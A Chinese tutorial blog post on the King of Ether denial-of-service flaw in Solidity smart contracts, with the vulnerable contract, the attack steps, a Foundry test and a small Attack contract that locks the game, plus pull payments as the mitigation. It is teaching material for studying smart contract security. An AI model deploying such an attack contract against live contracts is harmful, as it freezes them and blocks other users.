区块链安全常见的攻击分析——拒绝服务攻击 (Denial of Service-DOS)King合约【11】

区块链安全常见的攻击分析------拒绝服务攻击 Denial of Service

    • [1.1 漏洞分析](#1.1 漏洞分析)
    • [1.2 漏洞合约](#1.2 漏洞合约)
    • [1.3 攻击步骤分析](#1.3 攻击步骤分析)
    • [1.4 攻击合约](#1.4 攻击合约)

合约内容 :在合约游戏中,新玩家通过发送比当前 King 更多的代币来成为新的 King,同时合约会将原 King 的代币退回。
重点
如果原 King 是一个合约地址,并且合约没有实现 receive 或 fallback 函数来接收代币,退回代币的 call 操作会失败,从而导致整个合约无法继续运行,游戏中断。

1.1 漏洞分析

会把上一个king转进来的钱退回,如果上一个king接收退回的函数有问题,就会导致合约游戏终止。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称:拒绝服务攻击 (Denial of Service)

描述:
KingOfEther 合约设计了一场游戏,用户可以通过发送比当前余额更多的以太币来获得"王位"。
合约会尝试将当前余额返还给上一个"国王",当新用户发送更多的以太币时。
然而,这种机制可能被利用。攻击者的合约(这里是 Attack 合约)可以成为"国王",
然后在其回退函数中触发回退失败或者消耗超过规定的 Gas 限制,
导致当 KingOfEther 合约试图将以太币返还给上一个国王时,claimThrone 函数失败。

缓解措施:
使用 Pull payment 模式,解决方法是让用户自己提取他们的以太币,而不是直接将以太币发送给他们。

参考:
https://slowmist.medium.com/intro-to-smart-contract-security-audit-dos-e23e9e901e26
*/

contract KingOfEther {
    address public king;
    uint public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent, ) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

1.3 攻击步骤分析

  1. 在攻击合约中调用 claimThrone 函数,成为当前 King。故意不实现 receive 或 fallback 函数,确保攻击合约无法接收退回的代币。

  2. 当下一个玩家(如 Aquarius)尝试通过调用 claimThrone 函数成为新的 King 时,合约会尝试将代币退回给攻击合约。

  3. 由于攻击合约无法接收代币,退回操作失败,导致交易回滚,Aquarius 的竞争失败。合约陷入死锁状态,游戏无法继续进行。

解决方法

如果攻击合约有receive接收函数,用户Aquarius会竞选成功

结果输出:

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./DOS.sol";

contract ContractTest is Test {
    KingOfEther KingOfEtherContract;
    Attack attackContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        KingOfEtherContract = new KingOfEther();
        attackContract = new Attack();
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        vm.deal(address(Koko), 1 ether);
        vm.deal(address(Aquarius), 9 ether);
        vm.deal(address(attackContract), 6 ether);
        console.log("address(Koko):", address(Koko));
        console.log("address(Aquarius):", address(Aquarius));
        console.log("address(attackContract):", address(attackContract));
    }

    function testKingOfEther() public {
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        vm.prank(Koko); //  Koko 调函数,竞争king
        console.log("koko claim king");
        KingOfEtherContract.claimThrone{value: 1 ether}(); // 附带 1 ether 调用 claimThrone 函数
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        // 攻击
        console.log("ATTACK claim king..");
        attackContract.attack{value: 6 ether}(address(KingOfEtherContract));
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );

        vm.prank(Aquarius); // Aquarius 竞争king
        console.log("Aquarius claim king");
        vm.expectRevert("Failed to send Ether");
        KingOfEtherContract.claimThrone{value: 9 ether}(); // 附带 9 ether 调用 claimThrone 函数
        console.log("Aquarius FAIL !!");
        console.log(
            "KingOfEther Contract king:",
            KingOfEtherContract.king(),
            "balance:",
            KingOfEtherContract.balance()
        );
    }
}

contract Attack {
    address kingOfEtherAddress;

    function attack(address _kingOfEtherAddress) public payable {
        kingOfEtherAddress = _kingOfEtherAddress;
        KingOfEther(kingOfEtherAddress).claimThrone{value: msg.value}();
    }
}
相关推荐
用户962377954483 天前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主4 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954486 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机7 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954487 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star7 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954487 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher8 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
kida_yuan10 天前
【以太来袭】4. Geth 原理与解析
区块链